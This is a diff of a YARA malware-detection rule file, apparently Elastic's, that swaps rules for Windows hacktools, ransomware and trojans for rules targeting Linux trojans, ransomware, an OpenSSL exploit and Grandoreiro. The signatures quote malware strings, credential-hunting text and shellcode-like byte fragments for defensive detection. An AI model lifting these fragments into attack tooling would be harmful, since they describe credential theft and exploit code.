+		fingerprint = "016477598ce022cc75f591d1c72535a3353ecc4e888642e72aa29476464a8c2f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -99446,296 +103680,269 @@ rule ELASTIC_Windows_Hacktool_Winpeas_Ng_94474B0B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$win_0 = "Windows local Privilege Escalation Awesome Script" ascii wide
-		$win_1 = "BASIC SYSTEM INFO" ascii wide
-		$win_2 = "LAPS installed?" ascii wide
-		$win_3 = "Check for services restricted from the outside" ascii wide
-		$win_4 = "CURRENT USER" ascii wide
-		$win_5 = "hacktricks.xyz" ascii wide
-		$win_6 = "SERVICE VULNERABILITIES" ascii wide
-		$win_7 = "DPAPI MASTER KEYS" ascii wide
-		$win_8 = "Files in registry that may contain credentials" ascii wide
-		$win_9 = "SAM and SYSTEM backups" ascii wide
+		$a1 = "Checking Virtual PC processes %s " wide fullword
+		$a2 = "SELECT * FROM Win32_ComputerSystemProduct" ascii fullword
+		$a3 = "Injection-Date" ascii fullword
+		$a4 = " -Command \"Wait-Process -Id " ascii fullword
+		$a5 = "%WINDIR%\\System32\\wscript.exe" wide fullword
+		$a6 = "objShell.Run \"rundll32.exe my_application_path"
+		$a7 = "Checking reg key HARDWARE\\Description\\System - %s is set to %s" wide fullword
 
 	condition:
-		6 of them
+		5 of them
 }
-rule ELASTIC_Windows_Backdoor_Dragoncastling_4Ecf6F9F : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Iroffer_53692410 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Backdoor Dragoncastling (Windows.Backdoor.DragonCastling)"
+		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
 		author = "Elastic Security"
-		id = "4ecf6f9f-a4c8-4962-9f16-cf7fb76467d3"
-		date = "2022-11-08"
-		modified = "2022-12-20"
+		id = "53692410-4213-4550-890e-4c62867937bc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Backdoor_DragonCastling.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9776c7ae6ca73f87d7c838257a5bcd946372fbb77ebed42eebdfb633b13cd387"
-		logic_hash = "26ff86354230f1006bd451eab5c1634b91888330d124a06dd2dfa5ab515d6e1a"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Iroffer.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e76508141970efb3e4709bcff83772da9b10169c599e13e58432257a7bb2defa"
+		logic_hash = "b8aa25fbde4d9ca36656f583e7601118a06e57703862c8b28b273881eef504fe"
+		score = 60
+		quality = 23
 		tags = "FILE, MEMORY"
-		fingerprint = "be22acb2c9c28b68d9fffe255f7d72065fb683ef2e3c4f73914f51e14ae43175"
+		fingerprint = "f070ee35ad42d9d30021cc2796cfd2859007201c638f98f42fdbec25c53194fb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "recv bomb" ascii fullword
-		$a2 = "%s\\kbg%x.dat"
-		$a3 = "\\smcache.dat" wide fullword
-		$a4 = "%s\\game_%x.log"
-		$a5 = "{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}"
-		$a7 = "HOST: %ws:%ws" ascii fullword
-		$a8 = "; Windows NT %d.%d" wide fullword
-		$a9 = "Mozilla / 5.0 (Windows NT 6.3; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 41.0.2272.118 Safari / 537.36" ascii fullword
-		$a10 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform" wide fullword
+		$a = { 69 6E 67 20 55 6E 6B 6E 6F 77 6E 20 4D 73 67 6C 6F 67 20 54 61 67 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Dharma_Aa5Eefed : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Iroffer_013E07De : FILE MEMORY
 {
 	meta:
-		description = "Identifies DHARMA ransomware"
+		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
 		author = "Elastic Security"
-		id = "aa5eefed-7212-42c9-b51d-2c58c65b53e5"
-		date = "2020-06-25"
-		modified = "2021-08-23"
-		reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Dharma.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "bbafc2eac17562f315b09fa42eb601d0140152917d7962429df3a378abe67732"
-		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "d3baf3474b450931b594322d190b243bdd813156ad80f04abcadde0db3bfe149"
-		threat_name = "Windows.Ransomware.Dharma"
+		id = "013e07de-95bd-4774-a14f-0a10f911a2dd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Iroffer.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e76508141970efb3e4709bcff83772da9b10169c599e13e58432257a7bb2defa"
+		logic_hash = "ce21de61f94d41aa3abb73b9391a4d9c8ddeea75f1a2b36be58111b70a9590fe"
+		score = 60
+		quality = 25
+		tags = "FILE, MEMORY"
+		fingerprint = "92dde62076acec29a637b63a35f00c35f706df84d6ee9cabda0c6f63d01a13c4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$c1 = { 4D F0 51 8B 55 E8 52 E8 CD 10 00 00 83 C4 08 89 45 E8 8A 45 F9 04 01 88 45 F9 0F B6 4D F9 8B 55 E4 8A 04 0A 88 45 FB 0F B6 4D FB 0F B6 55 FA 03 D1 88 55 FA 0F B6 45 FA 8B 4D E4 8A 14 01 88 55 EF 0F B6 45 F9 8B 4D E4 8A 55 EF 88 14 01 0F B6 45 FA 8B 4D E4 8A 55 FB 88 14 01 8B 45 0C 03 45 F4 0F B6 08 0F B6 55 FB 0F B6 45 EF 03 D0 0F B6 D2 8B 45 E4 0F B6 14 10 33 CA 8B 45 E8 03 45 F4 88 08 }
-		$c2 = { 21 0C 7D 01 02 04 08 10 20 40 80 1B 36 6C D8 AB 4D 9A 2F 5E BC 63 C6 97 35 6A D4 B3 7D FA EF C5 91 00 00 A5 63 63 C6 84 7C 7C F8 99 77 77 EE 8D 7B 7B F6 0D F2 F2 FF BD 6B 6B D6 B1 6F 6F DE 54 C5 C5 91 50 30 30 60 03 01 01 02 A9 67 67 CE 7D 2B 2B 56 }
+		$a = { 00 49 67 6E 6F 72 69 6E 67 20 42 61 64 20 58 44 43 43 20 4E 6F }
 
 	condition:
-		1 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Dharma_B31Cac3F : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Iroffer_0De95Cab : FILE MEMORY
 {
 	meta:
-		description = "Identifies DHARMA ransomware"
+		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
 		author = "Elastic Security"
-		id = "b31cac3f-6e04-48b2-9d16-1a6b66fa8012"
-		date = "2020-06-25"
-		modified = "2021-08-23"
-		reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Dharma.yar#L23-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "30500e35721e9db3d63cafa5ca10818557fa9f4e0bda9c0d02283183508cf7b5"
+		id = "0de95cab-c671-44f0-a85e-5a5634e906f7"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Iroffer.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "717bea3902109d1b1d57e57c26b81442c0705af774139cd73105b2994ab89514"
+		logic_hash = "adec3e1d3110bcc22262d5f1f2ad14a347616f4a809f29170a9fbb5d1669a4c3"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "25d23d045c57758dbb14092cff3cc190755ceb3a21c8a80505bd316a430e21fc"
-		threat_name = "Windows.Ransomware.Dharma"
+		tags = "FILE, MEMORY"
+		fingerprint = "42c1ab8af313ec3c475535151ee67cac93ab6a25252b52b1e09c166065fb2760"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$b1 = "sssssbsss" ascii fullword
-		$b2 = "sssssbs" ascii fullword
-		$b3 = "RSDS%~m" ascii fullword
+		$a = { 45 41 52 52 45 43 4F 52 44 53 00 53 68 6F 77 20 49 6E 66 6F }
 
 	condition:
-		3 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Dharma_E9319E4A : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Iroffer_711259E4 : FILE MEMORY
 {
 	meta:
-		description = "Identifies DHARMA ransomware"
+		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
 		author = "Elastic Security"
-		id = "e9319e4a-3850-4bad-9579-4b73199a0963"
-		date = "2020-06-25"
-		modified = "2021-08-23"
-		reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Dharma.yar#L46-L65"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "182ed508d645a0b1fab80fb6f975a05d33b64c43005bd3656df6470934cd71f4"
+		id = "711259e4-f081-4d81-8257-60ba733354c5"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Iroffer.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e76508141970efb3e4709bcff83772da9b10169c599e13e58432257a7bb2defa"
+		logic_hash = "a71dbb979bc1f7671ab9958b6aa502e6ded4ee1c1b026080fd377eb772ebb1d5"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "4a4f3aebe4c9726cf62dde454f01cbf6dcb09bf3ef1b230d548fe255f01254aa"
-		threat_name = "Windows.Ransomware.Dharma"
+		tags = "FILE, MEMORY"
+		fingerprint = "aca63ef57ab6cb5579a2a5fea6095d88a3a4fb8347353febb3d02cc88a241b78"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$d = { 08 8B 51 24 8B 45 08 8B 48 18 0F B7 14 51 85 D2 74 47 8B 45 08 8B }
+		$a = { 03 7E 2B 8B 45 C8 3D FF 00 00 00 77 21 8B 55 CC 81 FA FF 00 }
 
 	condition:
-		1 of ($d*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Dharma_942142E3 : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Iroffer_7478Ddd9 : FILE MEMORY
 {
 	meta:
-		description = "Identifies DHARMA ransomware"
+		description = "Detects Linux Trojan Iroffer (Linux.Trojan.Iroffer)"
 		author = "Elastic Security"
-		id = "942142e3-9197-41c4-86cc-66121c8a9ab5"
-		date = "2020-06-25"
-		modified = "2021-08-23"
-		reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Dharma.yar#L67-L86"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "af5068ef3442964e4d1c5e27090fb84eaf762ff23463b7a0c2902e523ae601c1"
+		id = "7478ddd9-ebb6-4bd4-a1ad-d0bf8f99ab1d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Iroffer.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "20e1509c23d7ef14b15823e4c56b9a590e70c5b7960a04e94b662fc34152266c"
+		logic_hash = "e650ee830b735a11088b628e865cd40a15054437ca05849f2eaa7838eac152e3"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "e8ee60d53f92dd1ade8cc956c13a5de38f9be9050131ba727f2fab41dde619a8"
-		threat_name = "Windows.Ransomware.Dharma"
+		tags = "FILE, MEMORY"
+		fingerprint = "b497ee116b77e2ba1fedfad90894d956806a2ffa19cadc33a916513199b0a381"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "C:\\crysis\\Release\\PDB\\payload.pdb" ascii fullword
+		$a = { 80 FA 0F 74 10 80 FA 16 74 0B 80 FA 1F 74 06 C6 04 1E 2E 89 }
 
 	condition:
-		1 of ($a*)
+		all of them
 }
-rule ELASTIC_Multi_Trojan_Merlin_32643F4C : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Gonnacry_53C3832D : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Trojan Merlin (Multi.Trojan.Merlin)"
+		description = "Detects Linux Ransomware Gonnacry (Linux.Ransomware.Gonnacry)"
 		author = "Elastic Security"
-		id = "32643f4c-ee47-4ed2-9807-7b85d3f4e095"
-		date = "2024-03-01"
-		modified = "2024-05-23"
+		id = "53c3832d-ceff-407d-920b-7b6442688fa9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Trojan_Merlin.yar#L1-L28"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "84b988c4656677bc021e23df2a81258212d9ceba13be204867ac1d9d706404e2"
-		logic_hash = "7de2deec0e2c7fd3ce2b42762f88bfe87cb4ffb02b697953aa1716425d6f1612"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Gonnacry.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f5de75a6db591fe6bb6b656aa1dcfc8f7fe0686869c34192bfa4ec092554a4ac"
+		logic_hash = "2b7453c4eb71b71e6a241f728b077a2ee63d988d55a64fedf61c34222799e262"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bce277ef43c67be52b67c4495652e99d4707975c79cb30b54283db56545278ae"
+		fingerprint = "7d93c26c9e069af5cef964f5747104ba6d1d0d030a1f6b1c377355223c5359a1"
 		severity = 100
-		arch_context = "x86, arm64"
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "linux"
 
 	strings:
-		$a1 = "json:\"killdate,omitempty\""
-		$a2 = "json:\"maxretry,omitempty\""
-		$a3 = "json:\"waittime,omitempty\""
-		$a4 = "json:\"payload,omitempty\""
-		$a5 = "json:\"skew,omitempty\""
-		$a6 = "json:\"command\""
-		$a7 = "json:\"pid,omitempty\""
-		$b1 = "/merlin-agent/commands"
-		$b2 = "/merlin/pkg/jobs"
-		$b3 = "github.com/Ne0nd0g/merlin"
+		$a = { 55 48 89 E5 48 83 EC 10 48 89 7D F8 EB 56 48 8B 45 F8 48 8B }
 
 	condition:
-		all of ($a*) or all of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Octopus_15813E26 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Openssl_47C6Fad7 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Octopus, an Open source pre-operation C2 server based on Python and PowerShell"
+		description = "Detects Linux Exploit Openssl (Linux.Exploit.Openssl)"
 		author = "Elastic Security"
-		id = "15813e26-77f8-46cf-a6a3-ae081925b85a"
-		date = "2021-11-10"
-		modified = "2022-01-13"
+		id = "47c6fad7-0582-4a7a-9c51-68830e6b6132"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Octopus.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "0d30b96ead4ccba75e08f6ba1db73cee61a29b5b0c7ee0fb523cbcd61dce9d87"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Openssl.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8024af0931dff24b5444f0b06a27366a776014358aa0b7fc073030958f863ef8"
+		logic_hash = "4c60071ecd7b826e692710ae11b09be30e7df5833bcaa8642fea014e12b9abd7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a3294547f7e3cead0cd64eb3d2e7dbd8ccfc4d9eedede240a643c8cd114cbcce"
-		threat_name = "Windows.Trojan.Octopus"
+		fingerprint = "bde819830cc991269275ce5de2db50489368c821271aaa397ab914011f2fcb91"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = "C:\\Users\\UNKNOWN\\source\\repos\\OctopusUnmanagedExe\\OctopusUnmanagedExe\\obj\\x64\\Release\\SystemConfiguration.pdb" ascii fullword
+		$a = { 31 C9 F7 E1 51 5B B0 A4 CD 80 31 C0 50 68 2F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpup_E5C87C9A : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Erebus_Ead4F55B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpup (Windows.Hacktool.SharpUp)"
+		description = "Detects Linux Ransomware Erebus (Linux.Ransomware.Erebus)"
 		author = "Elastic Security"
-		id = "e5c87c9a-6b4d-49af-85d1-6bb60123c057"
-		date = "2022-10-20"
-		modified = "2022-11-24"
+		id = "ead4f55b-a4c6-46ff-bc8e-03831a17df9c"
+		date = "2023-07-27"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpUp.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45e92b991b3633b446473115f97366d9f35acd446d00cd4a05981a056660ad27"
-		logic_hash = "62e9aafd308aacbc7a124c707e230c5a9ffde4f6929a5feada5497e3eae7668c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Erebus.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6558330f07a7c90c40006346ed09e859b588d031193f8a9679fe11a85c8ccb37"
+		logic_hash = "82e81577372298623ee3ed3583bb18b2c0cfff30abbacf2909e7efca35c83bd7"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4c6e70b7ce3eb3fc05966af6c3847f4b7282059e05c089c20f39f226efb9bf87"
+		fingerprint = "571832cc76322a95244b042ab9b358755a1be19260410658dc32c03c5cae7638"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid = "FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9" ascii wide nocase
-		$str0 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.bat|\\.ps1|\\.vbs))\\W*" ascii wide
-		$str1 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii wide
-		$str2 = "SELECT * FROM win32_service WHERE Name LIKE '{0}'" ascii wide
-		$print_str1 = "[!] Modifialbe scheduled tasks were not evaluated due to permissions." ascii wide
-		$print_str2 = "[+] Potenatially Hijackable DLL: {0}" ascii wide
-		$print_str3 = "Registry AutoLogon Found" ascii wide
+		$a1 = "important files have been encrypted"
+		$a2 = "max_size_mb"
+		$a3 = "EREBUS IS BEST."
 
 	condition:
-		$guid or ( all of ($str*) and 1 of ($print_str*))
+		2 of them
 }
-rule ELASTIC_Windows_Trojan_Kronos_Cdd2E2C5 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Grandoreiro_51236Ba2 : FILE MEMORY
 {
 	meta:
-		description = "Strings used by the Kronos banking trojan and variants."
+		description = "Grandoreiro rule, target loader and payload"
 		author = "Elastic Security"
-		id = "cdd2e2c5-17fc-4cec-aece-0b19c54faccf"
-		date = "2021-02-07"
-		modified = "2021-08-23"
-		reference = "https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Kronos.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "baa9cedbbe0f5689be8f8028a6537c39e9ea8b0815ad76cb98f365ca5a41653f"
-		logic_hash = "a8943c5ef166446629cb46517d35db39c97a1e3efa3a7a0b5cb3d3ee9d1e6e9c"
+		id = "51236ba2-fdbc-4c46-b57b-27fc1e135486"
+		date = "2022-08-23"
+		modified = "2023-06-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Grandoreiro.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1bdf381e7080d9bed3f52f4b3db1991a80d3e58120a5790c3d1609617d1f439e"
+		logic_hash = "9a8549a1dd82f56458ea8aee5c30243ac073d15c820de28d78a58d2c067b10d6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0e124d42a6741a095b66928303731e7060788bc1035b98b729ca91e4f7b6bc44"
-		threat_name = "Windows.Trojan.Kronos"
+		fingerprint = "c3082cc865fc177d8cbabcfcf9fb67317af5f2d28e8eeb95eb04108a558d80d4"
+		threat_name = "Windows.Trojan.Grandoreiro"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -99743,34 +103950,31 @@ rule ELASTIC_Windows_Trojan_Kronos_Cdd2E2C5 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "data_inject" ascii wide fullword
-		$a2 = "set_filter" ascii wide fullword
-		$a3 = "set_url" ascii wide fullword
-		$a4 = "%ws\\%ws.cfg" ascii wide fullword
-		$a5 = "D7T1H5F0F5A4C6S3" ascii wide fullword
-		$a6 = "[DELETE]" ascii wide fullword
-		$a7 = "Kronos" ascii wide fullword
+		$antivm0 = { B8 68 58 4D 56 BB 12 F7 6C 3C B9 0A 00 00 00 66 BA 58 56 ED B8 01 00 00 00 }
+		$antivm1 = { B9 [4] 89 E5 53 51 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 BB 00 00 00 00 B8 01 00 00 00 0F 3F 07 0B }
+		$xor0 = { 0F B7 44 70 ?? 33 D8 8D 45 ?? 50 89 5D ?? }
+		$xor1 = { 8B 45 ?? 0F B7 44 70 ?? 33 C3 89 45 ?? }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Hijackloader_A8444812 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpgpoabuse_14Ea480E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Hijackloader (Windows.Trojan.HijackLoader)"
+		description = "Detects Windows Hacktool Sharpgpoabuse (Windows.Hacktool.SharpGPOAbuse)"
 		author = "Elastic Security"
-		id = "a8444812-6aef-4ed7-a44b-b147301544c8"
-		date = "2023-11-15"
-		modified = "2024-01-12"
+		id = "14ea480e-fbd5-4dd3-885c-9a13bfb4400b"
+		date = "2024-03-25"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_HijackLoader.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "065c379a33ef1539e8a68fd4b7638fe8a30ec19fc128642ed0c68539656374b9"
-		logic_hash = "6cd88adc7a0d35013a26d1135efb294ee6f9ddab99b4549e82d3d6f5f65509b6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpGPOAbuse.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d13f87b9eaf09ef95778b2f1469aa34d03186d127c8f73c73299957d386c78d1"
+		logic_hash = "efc1259f4ed05c8f41df75c056d36fd5a808a92b5c88cfb0522caedea39476b4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dd9f3bca44b585e3a31626b66223288634fcb092e43ecb053806726e5f2006e9"
+		fingerprint = "1f86d5dfc193076127dcc4355cbf0c4bdffc0785ca2daf8e1364d76ee273b343"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -99778,15 +103982,17 @@ rule ELASTIC_Windows_Trojan_Hijackloader_A8444812 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 8B 45 ?? 40 89 45 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 45 ?? 03 45 ?? 66 0F BE 00 66 89 45 ?? FF 75 ?? FF 75 ?? 8D 45 ?? 50 E8 [4] 83 C4 0C EB ?? }
-		$a2 = { 8B 45 ?? 8B 4D ?? 8B [1-5] 0F AF [1-5] 0F B7 [2] 03 C1 8B 4D ?? 89 01 }
-		$a3 = { 33 C0 40 74 ?? 8B 45 ?? 8B 4D ?? 8B 55 ?? 03 14 81 89 55 ?? FF 75 ?? FF 75 ?? E8 [4] 59 59 89 45 ?? 8B 45 ?? 8B 4D ?? 0F B7 04 41 8B 4D ?? 8B 55 ?? 03 14 81 89 55 ?? 8B 45 ?? 3B 45 ?? 75 ?? 8B 45 ?? EB ?? 8B 45 ?? 40 89 45 ?? EB ?? }
-		$a4 = { 8B 45 ?? 8B 4D ?? 8B [1-5] 0F AF [1-5] 0F B7 4D ?? 03 C1 8B 4D ?? 89 01 }
